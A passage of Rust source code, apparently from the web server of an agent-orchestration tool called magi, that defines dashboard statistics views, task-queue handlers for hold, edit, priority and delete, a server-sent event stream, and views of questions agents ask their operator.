7270/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7271/// aggregation rather than duplicating it.
7272#[derive(Debug, Serialize)]
7273struct RepoSummaryView {
7274    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7275    /// against, full path and all (see [`stats_get`]'s own doc for why).
7276    repo: String,
7277    /// Display name only; never used for matching.
7278    name: String,
7279    runs: usize,
7280    completion_rate: Option<RateView>,
7281}
7282
7283impl From<&stats::RepoStats> for RepoSummaryView {
7284    fn from(r: &stats::RepoStats) -> Self {
7285        let t = &r.stats.totals;
7286        Self {
7287            repo: r.repo.to_string_lossy().into_owned(),
7288            name: r.name.clone(),
7289            runs: t.runs,
7290            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7291        }
7292    }
7293}
7294
7295/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7296/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7297/// renders from them) are free to grow without that becoming a wire-contract
7298/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7299/// data" from "computed and it really is zero" the way [`RateView`] does.
7300#[derive(Debug, Serialize)]
7301struct StatsView {
7302    totals: StatsTotalsView,
7303    /// Best win rate first, as [`stats::collect`] already sorts it.
7304    agents: Vec<AgentStatsView>,
7305    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7306    reviewers: Vec<ReviewerStatsView>,
7307    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7308    advisors: Vec<AdvisorStatsView>,
7309    e2e: E2eStatsView,
7310    release_bumps: ReleaseBumpStatsView,
7311    queue: Option<TaskCountsView>,
7312    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7313    /// that field's doc. Asserted to match it in
7314    /// `stats_runs_unreadable_matches_health`.
7315    ///
7316    /// Always the whole-workload count, even when `repo` narrows every other
7317    /// field to one repository - an unreadable `run.json` carries no `repo`
7318    /// a per-repository count could attribute it to, and the queue/health
7319    /// views this mirrors never scope it either. The UI must not present it
7320    /// as if it were scoped to the selected repository.
7321    runs_unreadable: usize,
7322    /// Every repository with runs recorded, most runs first - what the UI's
7323    /// repository selector is built from. Always the full list regardless of
7324    /// `repo`, so switching repositories never needs a second request.
7325    repos: Vec<RepoSummaryView>,
7326    /// Runs per local day over the last 30 days, oldest first, always 30
7327    /// entries. Days are the *server's* local dates (the UI must not convert
7328    /// them again), cut by run creation and classified by current status.
7329    /// Narrowed by `repo` like every other run-derived field.
7330    daily: Vec<DailyStatsView>,
7331    /// The `?repo=` value this response was narrowed to, echoed back so the
7332    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7333    /// all-repositories view.
7334    repo: Option<String>,
7335    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7336    /// current config roster no longer lists them. Empty with `?all=true`, an
7337    /// unreadable config, or when nothing was retired.
7338    retired_hidden: Vec<String>,
7339}
7340
7341/// One day of [`StatsView::daily`].
7342#[derive(Debug, Serialize)]
7343struct DailyStatsView {
7344    /// `YYYY-MM-DD`, server-local.
7345    date: String,
7346    runs: usize,
7347    merged: usize,
7348    ready: usize,
7349    other: usize,
7350    /// `None` on a day with no runs, so it never reads as 0%.
7351    completion_rate: Option<RateView>,
7352}
7353
7354impl From<&stats::DayBucket> for DailyStatsView {
7355    fn from(b: &stats::DayBucket) -> Self {
7356        Self {
7357            date: b.date.to_string(),
7358            runs: b.runs,
7359            merged: b.merged,
7360            ready: b.ready,
7361            other: b.other,
7362            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7363        }
7364    }
7365}
7366
7367/// How many days [`StatsView::daily`] covers.
7368const STATS_DAILY_DAYS: usize = 30;
7369
7370/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7371/// repository. Matched by full-path equality against `RunState.repo` only
7372/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7373/// `--repo` is, because the value here always came from this same route's
7374/// own `repos` list in an earlier response, never typed by a human. A value
7375/// matching no run is a 404, not an empty aggregate: the caller asked for a
7376/// specific, named repository, and silently returning zeroes would look
7377/// exactly like a repository that has runs but none of interest.
7378#[derive(Debug, Default, Deserialize)]
7379#[serde(default)]
7380struct StatsQuery {
7381    repo: Option<String>,
7382    /// `?all=true` keeps agents that are no longer in the roster.
7383    all: bool,
7384    /// The dashboard fetches queue counts independently of run history.
7385    runs_only: bool,
7386}
7387
7388/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7389/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7390/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7391/// prints from. Reads every readable run on disk, exactly as
7392/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7393/// a separately-maintained tally could.
7394async fn stats_get(
7395    State(ui): State<Arc<Ui>>,
7396    Query(q): Query<StatsQuery>,
7397) -> ApiResult<Json<StatsView>> {
7398    blocking(move || {
7399        let states: Vec<RunState> = run_ids(&ui.runs)
7400            .into_iter()
7401            .filter_map(|id| read_run(&ui.runs, &id).ok())
7402            .collect();
7403        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7404            .iter()
7405            .map(RepoSummaryView::from)
7406            .collect();
7407        let mut scoped: Vec<&RunState> = states.iter().collect();
7408        let mut collected = match &q.repo {
7409            Some(repo) => {
7410                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7411                if filtered.is_empty() {
7412                    return Err(ApiError::not_found(format!(
7413                        "no runs recorded against repo `{repo}`"
7414                    )));
7415                }
7416                scoped = filtered.clone();
7417                stats::collect_refs(filtered)
7418            }
7419            None => stats::collect(&states),
7420        };
7421        if !q.all {
7422            let repo = q
7423                .repo
7424                .as_deref()
7425                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7426            stats::retain_current_roster(&mut collected, &repo);
7427        }
7428        let daily = stats::daily(
7429            scoped,
7430            jiff::Zoned::now().date(),
7431            &jiff::tz::TimeZone::system(),
7432            STATS_DAILY_DAYS,
7433        );
7434        let queue_counts = (!q.runs_only)
7435            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7436        Ok(Json(StatsView {
7437            totals: StatsTotalsView::from(&collected.totals),
7438            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7439            reviewers: collected
7440                .reviewers
7441                .iter()
7442                .map(ReviewerStatsView::from)
7443                .collect(),
7444            advisors: collected
7445                .advisors
7446                .iter()
7447                .map(AdvisorStatsView::from)
7448                .collect(),
7449            e2e: E2eStatsView::from(&collected.e2e),
7450            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7451            queue: queue_counts,
7452            runs_unreadable: runs_unreadable(&ui.runs),
7453            repos,
7454            daily: daily.iter().map(DailyStatsView::from).collect(),
7455            repo: q.repo.clone(),
7456            retired_hidden: collected.retired_hidden.clone(),
7457        }))
7458    })
7459    .await
7460}
7461
7462/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7463/// gives no reason - which must keep working, since not every hold has one.
7464#[derive(Debug, Default, Deserialize)]
7465#[serde(default, deny_unknown_fields)]
7466struct HoldBody {
7467    reason: Option<String>,
7468}
7469
7470async fn queue_hold(
7471    State(ui): State<Arc<Ui>>,
7472    Path(id): Path<String>,
7473    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7474) -> ApiResult<Json<TaskView>> {
7475    // An absent body is the ordinary case - most holds are unexplained, and
7476    // that has to stay a one-tap action rather than a form. A body that is
7477    // present and malformed is still a bad request.
7478    let body = match body {
7479        Ok(Json(body)) => body,
7480        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7481        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7482    };
7483    let reason = body.reason.filter(|r| !r.trim().is_empty());
7484    mutate(ui, id, move |t| {
7485        t.hold_manual(reason.clone());
7486        Ok(())
7487    })
7488    .await
7489}
7490
7491#[derive(Deserialize)]
7492#[serde(deny_unknown_fields)]
7493struct ReassignBody {
7494    repo: PathBuf,
7495}
7496
7497async fn queue_reassign(
7498    State(ui): State<Arc<Ui>>,
7499    Path(id): Path<String>,
7500    Json(body): Json<ReassignBody>,
7501) -> ApiResult<Json<TaskView>> {
7502    let home = ui.home.clone();
7503    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7504        .await
7505        .map_err(ApiError::bad_request_from)?;
7506    let notes = crate::task_reassign::advisory_notes(&task, &home);
7507    let mut view = TaskView::from(task);
7508    view.reassignment_notes = notes;
7509    Ok(Json(view))
7510}
7511
7512async fn queue_release(
7513    State(ui): State<Arc<Ui>>,
7514    Path(id): Path<String>,
7515) -> ApiResult<Json<TaskView>> {
7516    mutate(ui, id, |t| {
7517        t.release_operator("web", None);
7518        Ok(())
7519    })
7520    .await
7521}
7522
7523#[derive(Debug, Deserialize)]
7524#[serde(deny_unknown_fields)]
7525struct AttemptLimitBody {
7526    // Required even when clearing: missing fields must not silently erase an override.
7527    attempt_limit: serde_json::Value,
7528}
7529
7530async fn queue_attempt_limit(
7531    State(ui): State<Arc<Ui>>,
7532    Path(id): Path<String>,
7533    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7534) -> ApiResult<Json<TaskView>> {
7535    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7536    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7537        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7538    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7539}
7540
7541#[derive(Debug, Deserialize)]
7542#[serde(deny_unknown_fields)]
7543struct ImplementersBody {
7544    implementers: u8,
7545}
7546
7547async fn queue_implementers(
7548    State(ui): State<Arc<Ui>>,
7549    Path(id): Path<String>,
7550    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7551) -> ApiResult<Json<TaskView>> {
7552    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7553    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7554}
7555
7556#[derive(Debug, Deserialize)]
7557#[serde(deny_unknown_fields)]
7558struct UrgentBody {
7559    urgent: bool,
7560}
7561
7562async fn queue_urgent(
7563    State(ui): State<Arc<Ui>>,
7564    Path(id): Path<String>,
7565    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7566) -> ApiResult<Json<TaskView>> {
7567    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7568    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7569}
7570
7571/// The body of `POST /api/queue/{id}/priority`.
7572#[derive(Debug, Deserialize)]
7573#[serde(deny_unknown_fields)]
7574struct PriorityBody {
7575    priority: i32,
7576}
7577
7578/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7579///
7580/// [`Task::set_priority`] is the one place the "not while running" rule is
7581/// stated; this route only carries the body to it and lets its `Err` become
7582/// the 4xx the card shows.
7583async fn queue_priority(
7584    State(ui): State<Arc<Ui>>,
7585    Path(id): Path<String>,
7586    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7587) -> ApiResult<Json<TaskView>> {
7588    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7589    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7590}
7591
7592/// The body of `POST /api/queue/{id}/edit`.
7593#[derive(Debug, Deserialize)]
7594#[serde(deny_unknown_fields)]
7595struct EditBody {
7596    title: String,
7597    instruction: String,
7598    /// Save even though the new text names a branch, commit or pull request
7599    /// that unfinished work already owns.
7600    #[serde(default)]
7601    force: bool,
7602}
7603
7604/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7605/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7606/// that refusal's message is what the sheet shows back.
7607async fn queue_edit(
7608    State(ui): State<Arc<Ui>>,
7609    Path(id): Path<String>,
7610    body: std::result::Result<Json<EditBody>, JsonRejection>,
7611) -> ApiResult<Json<TaskView>> {
7612    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7613    // The judge is an agent call, so it is awaited here, outside the claim
7614    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7615    // remembered, and the save refuses if the task moved underneath it.
7616    let mut judged: Option<(String, PathBuf)> = None;
7617    if !body.force {
7618        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7619        let (id, text) = (id.clone(), body.instruction.clone());
7620        let (seen, hits) = blocking(move || {
7621            let id = resolve_task(&queue, &id)?;
7622            let t = queue.get(&id)?;
7623            if text == t.instruction {
7624                return Ok((None, Vec::new()));
7625            }
7626            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7627            Ok((Some((t.instruction, t.repo)), hits))
7628        })
7629        .await?;
7630        if let Some((_, repo)) = &seen {
7631            let cfg = crate::config::Config::discover(repo, None)
7632                .ok()
7633                .map(|(c, _)| c);
7634            let screened =
7635                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7636                    .await
7637                    .map_err(|dup| {
7638                        ApiError::conflict(dup.render(
7639                            "Nothing was saved. If it is not a duplicate, repeat the request \
7640                             with \"force\": true.",
7641                        ))
7642                    })?;
7643            if let crate::dupes::Screened::Unjudged(why) = screened {
7644                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7645            }
7646        }
7647        judged = seen;
7648    }
7649    let force = body.force;
7650    mutate(ui, id, move |t| {
7651        if !force && body.instruction != t.instruction {
7652            match &judged {
7653                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7654                _ => {
7655                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7656                }
7657            }
7658        }
7659        t.edit(body.title.clone(), body.instruction.clone())
7660    })
7661    .await
7662}
7663
7664/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7665/// it, so the phone's other way to clear a task from the backlog does not
7666/// have to cost the run history, the attribution, and `created_at` the way
7667/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7668/// can be marked done by hand, because this is for the run the loop never
7669/// saw land - a merge done by hand, or a gate that misreported - and that can
7670/// happen from any status the task was left in.
7671async fn queue_done(
7672    State(ui): State<Arc<Ui>>,
7673    Path(id): Path<String>,
7674) -> ApiResult<Json<TaskView>> {
7675    let home = ui.home.clone();
7676    mutate(ui, id, move |t| {
7677        t.succeed();
7678        // Same as the loop's own settle path: closing a task by hand is just
7679        // as much "this task's story is over" as a daemon-driven `Merged`/
7680        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7681        // behind must stop looking like it still needs a human. `ui.home`,
7682        // not the process-global `run::home()`: they agree in a real
7683        // process, but only `ui.home` also agrees with a test fixture's own
7684        // directory.
7685        crate::daemon::supersede_prior_runs(t, &home);
7686        Ok(())
7687    })
7688    .await
7689}
7690
7691/// `DELETE /api/queue/{id}`.
7692///
7693/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7694/// names this task: a `running` status or an orphaned `.lock` left behind by a
7695/// killed daemon is a leftover, and treating either as authority made the
7696/// task undeletable from the phone for good. The associated runs, if any, are
7697/// kept: a run is self-contained history and not an appendage of the task.
7698async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7699    blocking(move || {
7700        let id = resolve_task(&ui.queue, &id)?;
7701        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7702        ui.queue
7703            .remove(&id, in_flight, &ui.questions)
7704            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7705        Ok(StatusCode::NO_CONTENT)
7706    })
7707    .await
7708}
7709
7710/// Read a task, change it, write it back, under the queue's own lock.
7711///
7712/// Taking the same claim a daemon takes is what makes hold, release,
7713/// priority, edit, and done safe to press while magi is running: without it
7714/// the daemon's next save would land on top of the operator's change and
7715/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7716/// both do, for a running task - and that refusal becomes the 4xx the card
7717/// shows, same as any other domain rule.
7718async fn mutate(
7719    ui: Arc<Ui>,
7720    id: String,
7721    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7722) -> ApiResult<Json<TaskView>> {
7723    blocking(move || {
7724        let id = resolve_task(&ui.queue, &id)?;
7725        // `claim` fails when the lock file already exists, which is the
7726        // conflict the UI must report: the daemon owns that task's file for
7727        // as long as it is running it, and our write would be lost under its
7728        // next save. The message names the lock either way.
7729        let _claim = ui.queue.claim(&id).map_err(|e| {
7730            ApiError::conflict(format!(
7731                "{e:#} - a daemon is running this task, so it cannot be \
7732                 changed from here yet; wait until it is released, then retry"
7733            ))
7734        })?;
7735        let mut task = ui.queue.get(&id)?;
7736        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7737            Ok(dup) => ApiError::conflict(dup.render(
7738                "Nothing was saved. If it is not a duplicate, repeat the request with \
7739                 \"force\": true.",
7740            )),
7741            Err(e) => ApiError::bad_request_from(e),
7742        })?;
7743        ui.queue.put(&mut task)?;
7744        Ok(Json(TaskView::from(task)))
7745    })
7746    .await
7747}
7748
7749/// The change stream: one revision number per store, on connect and whenever
7750/// any of them moves.
7751///
7752/// One shared worker scans stores; clients only forward its notifications.
7753async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7754    ui.monitor.ensure_worker(&ui);
7755    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7756    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7757
7758    let state = Arc::clone(&ui);
7759    tokio::spawn(async move {
7760        let initial_revisions = {
7761            let guard = match state.monitor.latest.lock() {
7762                Ok(g) => g,
7763                Err(p) => p.into_inner(),
7764            };
7765            guard.as_ref().map(|(r, _)| *r)
7766        };
7767        if let Some(revisions) = initial_revisions {
7768            let initial_payload = serde_json::json!({
7769                "queue_rev": revisions.0,
7770                "runs_rev": revisions.1,
7771                "questions_rev": revisions.2,
7772                "talks_rev": revisions.3,
7773                "notifications_rev": revisions.4,
7774                "loop_rev": revisions.5,
7775            });
7776
7777            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7778                if tx.send(event).await.is_err() {
7779                    return;
7780                }
7781            }
7782        }
7783
7784        loop {
7785            match tokio::select! {
7786                _ = tx.closed() => return,
7787                value = broadcast_rx.recv() => value,
7788            } {
7789                Ok(notif) => {
7790                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7791                    else {
7792                        break;
7793                    };
7794                    if tx.send(event).await.is_err() {
7795                        break;
7796                    }
7797                }
7798                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7799                    let revs = {
7800                        let guard = match state.monitor.latest.lock() {
7801                            Ok(g) => g,
7802                            Err(p) => p.into_inner(),
7803                        };
7804                        guard.as_ref().map(|(r, _)| *r)
7805                    };
7806                    if let Some(revs) = revs {
7807                        let payload = serde_json::json!({
7808                            "queue_rev": revs.0,
7809                            "runs_rev": revs.1,
7810                            "questions_rev": revs.2,
7811                            "talks_rev": revs.3,
7812                            "notifications_rev": revs.4,
7813                            "loop_rev": revs.5,
7814                        });
7815                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7816                            if tx.send(event).await.is_err() {
7817                                break;
7818                            }
7819                        }
7820                    }
7821                }
7822                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7823                    break;
7824                }
7825            }
7826        }
7827    });
7828
7829    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7830        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7831}
7832
7833/// Run ids under `runs`, newest first.
7834///
7835/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7836/// which reads the process-global home: the server has to be drivable against
7837/// a temp directory for any of this to be testable.
7838fn run_ids(runs: &FsPath) -> Vec<String> {
7839    let mut ids: Vec<String> = std::fs::read_dir(runs)
7840        .into_iter()
7841        .flatten()
7842        .flatten()
7843        .filter(|e| e.path().join("run.json").is_file())
7844        .map(|e| e.file_name().to_string_lossy().into_owned())
7845        .collect();
7846    // Ids start with a sortable timestamp.
7847    ids.sort_unstable_by(|a, b| b.cmp(a));
7848    ids
7849}
7850
7851/// Read one run's state from an explicit runs root.
7852fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7853    let path = runs.join(id).join("run.json");
7854    let body =
7855        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7856    let state: RunState =
7857        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7858    // The same migration `RunState::load` applies, so a record from the
7859    // previous schema reads here as it does everywhere else (an origin-less
7860    // run shows as "origin unknown") instead of vanishing from the phone the
7861    // moment the schema is bumped.
7862    run::migrate_schema(state)
7863}
7864
7865/// Runs on disk under `runs` whose state this build cannot parse - almost
7866/// always a schema bump, occasionally a run killed mid-write.
7867///
7868/// Exposed so every surface that reports on runs shares one count instead of
7869/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7870/// `magi doctor` calls this directly rather than guessing at the same number
7871/// a second way.
7872#[must_use]
7873pub fn runs_unreadable(runs: &FsPath) -> usize {
7874    run_ids(runs)
7875        .into_iter()
7876        .filter(|id| read_run(runs, id).is_err())
7877        .count()
7878}
7879
7880fn plain_record_id(id: &str) -> bool {
7881    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7882}
7883
7884/// Expand an id or short id to exactly one run id.
7885fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7886    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7887        return Ok(id.to_owned());
7888    }
7889    pick(run_ids(runs), id, "run")
7890}
7891
7892/// Expand an id or short id to exactly one task id.
7893fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7894    if plain_record_id(id) && queue.path_of(id).is_file() {
7895        return Ok(id.to_owned());
7896    }
7897    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7898    pick(ids, id, "task")
7899}
7900
7901/// A question as the phone reads it.
7902///
7903/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7904/// text already parsed into a node tree so the client never runs its own
7905/// markdown reader over agent-authored prose. A relative image path in it
7906/// resolves against this question's own panel asset route, which is the one
7907/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7908/// separate, sandboxed document, but `detail` is rendered inline in the
7909/// operator's own page, so an image reference in it may only ever point at
7910/// files magi itself already serves for this question.
7911#[derive(Debug, Serialize)]
7912struct QuestionView {
7913    can_answer: bool,
7914    /// Imported consent remains history even while its effect is uncertain.
7915    history_only: bool,
7916    choice_effects: std::collections::BTreeMap<String, String>,
7917    record_revision: String,
7918    #[serde(flatten)]
7919    question: Question,
7920    detail_md: Vec<md::Node>,
7921    posting_view: Option<PostingView>,
7922    /// Each thread turn's body, parsed; same order as `question.thread`.
7923    thread_bodies_md: Vec<Vec<md::Node>>,
7924    /// Each thread turn's deputy note, parsed (`None` for a turn without
7925    /// one); same order as `question.thread`.
7926    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7927    /// Is the ball in the agent's court right now?
7928    ///
7929    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7930    /// [`Question::say`] - so this is the one field that tells the phone to
7931    /// disable the answer controls and show "waiting for the agent" instead of
7932    /// a card the owner can act on. Computed rather than stored on
7933    /// [`Question`] itself, on the same reasoning as `waiting` on
7934    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7935    /// it here means the client never has to re-derive that rule.
7936    waiting_on_agent: bool,
7937    /// Who is waiting on this open question - see [`holder_of`]. Separate
7938    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7939    /// anyone is there to take it.
7940    holder: Option<&'static str>,
7941    /// Whether `magi serve` can start a follow-up agent for a conductor
7942    /// question at all: false when `daemon.max_deputies = 0` or the config is
7943    /// unreadable. Separate from `holder`, which says who is listening now.
7944    deputies_enabled: bool,
7945    /// All starts were spent and no live holder remains. Display-only: the
7946    /// final attempt increments `starts` before running under its lease.
7947    deputy_exhausted: bool,
7948    text_delivery: crate::question_delivery::Availability,
7949    /// `question.run` is a task id (conductor / triage questions), not a run
7950    /// id, so the UI links it to the task page.
7951    run_is_task: bool,
7952    /// The existing chat this question's task came from, including settled
7953    /// questions - see [`crate::consult::associated_talk`].
7954    origin_chat: Option<String>,
7955    /// `origin_chat` is closed; consulting reopens it first.
7956    origin_chat_closed: bool,
7957    /// Consultation eligibility is separate from navigation to the chat.
7958    can_consult_chat: bool,
7959}
7960
7961#[derive(Debug, Serialize)]
7962struct PostingView {
7963    before_md: Vec<md::Node>,
7964    after_md: Vec<md::Node>,
7965    fields: Vec<crate::github_text::ComparisonView>,
7966}
7967
7968fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7969    let comparison = question.posting_comparison.as_ref()?;
7970    if !comparison.matches_detail(&question.detail) {
7971        return None;
7972    }
7973    let mut ids = std::collections::BTreeSet::new();
7974    if comparison.fields.is_empty()
7975        || comparison
7976            .fields
7977            .iter()
7978            .flat_map(|f| &f.pairs)
7979            .any(|p| !ids.insert(p.id))
7980        || comparison
7981            .fields
7982            .iter()
7983            .flat_map(|f| &f.original_triggers)
7984            .any(|t| !ids.insert(t.id))
7985    {
7986        return None;
7987    }
7988    let fields = comparison
7989        .fields
7990        .iter()
7991        .map(|f| f.view(comparison.excerpt))
7992        .collect::<Option<Vec<_>>>()?;
7993    Some(PostingView {
7994        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7995        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7996        fields,
7997    })
7998}
7999
8000impl QuestionView {
8001    /// The view of `question`, reading who is waiting on it from `store`.
8002    ///
8003    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8004    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8005        let base = md::ImageBase::QuestionPanel {
8006            id: question.id.clone(),
8007        };
8008        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8009        Self {
8010            can_answer: question.can_answer(),
8011            history_only: store.held_reply(&question.id),
8012            choice_effects: question
8013                .choices
8014                .iter()
8015                .filter_map(|c| {
8016                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8017                })
8018                .collect(),
8019            record_revision: question_record_revision(&question),
8020            detail_md: md::to_nodes(&question.detail, &base),
8021            posting_view: posting_view(&question, &base),
8022            thread_bodies_md: question
8023                .thread
8024                .iter()
8025                .map(|t| md::to_nodes(&t.body, &base))
8026                .collect(),
8027            thread_notes_md: question
8028                .thread
8029                .iter()
8030                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8031                .collect(),
8032            deputy_exhausted: store.deputy_exhausted(&question),
8033            waiting_on_agent: question.waiting_on_agent(),
8034            holder,
8035            deputies_enabled: deputies_enabled(cfg, &question),
8036            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8037            run_is_task: question.run_names_task(),
8038            origin_chat: None,
8039            origin_chat_closed: false,
8040            can_consult_chat: false,
8041            question,
8042        }
8043    }
8044
8045    /// Fill `origin_chat` from the queue and the talks.
8046    fn with_origin(
8047        mut self,
8048        tasks: &[crate::queue::Task],
8049        talks: &[Talk],
8050        watches: &[crate::release_watch::WatchState],
8051    ) -> Self {
8052        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8053        self.can_consult_chat = consult.is_some();
8054        let talk =
8055            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8056        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8057        self.origin_chat = talk.map(|t| t.id);
8058        self
8059    }
8060}
8061
8062/// The config this repository resolves, or `None` when it cannot be read.
8063/// Discovering is git processes plus a config render, so a request that needs
8064/// it for many items takes it once and passes it down.
8065fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8066    Config::discover(repo, None).ok().map(|(c, _)| c)
8067}
8068
8069/// Can `magi serve` start a deputy for this question under `cfg`?
8070fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8071    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8072}
8073
8074/// The views `GET /api/questions` answers. `load` runs at most once, however
8075/// many questions there are, and not at all when there are none.
8076fn question_views(
8077    qs: Vec<Question>,
8078    store: &ask::Questions,
8079    load: impl FnOnce() -> Option<Config>,
8080) -> Vec<QuestionView> {
8081    if qs.is_empty() {
8082        return Vec::new();
8083    }
8084    let cfg = load();
8085    qs.into_iter()
8086        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8087        .collect()
8088}
8089
8090/// Who is honestly waiting on an open question right now: `"asker"` (the
8091/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8092/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8093/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8094/// up, or the question never had anyone listening (a conductor question or a
8095/// merge approval from before deputies, or not yet given one).
8096///
8097/// `None` for a question that is settled, and for one that is not an agent's
8098/// to wait on at all (a release notice).
8099fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8100    if !q.status.open() {
8101        return None;
8102    }
8103    if q.cwd.is_none()
8104        && q.deputy.is_none()
8105        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8106    {
8107        return crate::deputy::kind_of(q).map(|_| "nobody");
8108    }
8109    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8110        Some(_) if q.deputy.is_some() => "deputy",
8111        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8112        Some(_) => "asker",
8113        None => "nobody",
8114    })
8115}
8116
8117/// `GET /api/questions`.
8118///
8119/// Everything, not just the open ones: an answered question is the record of a
8120/// decision, and the phone is where the operator goes back to check what they
8121/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8122#[derive(serde::Serialize)]
8123struct DecisionView {
8124    id: String,
8125    task: String,
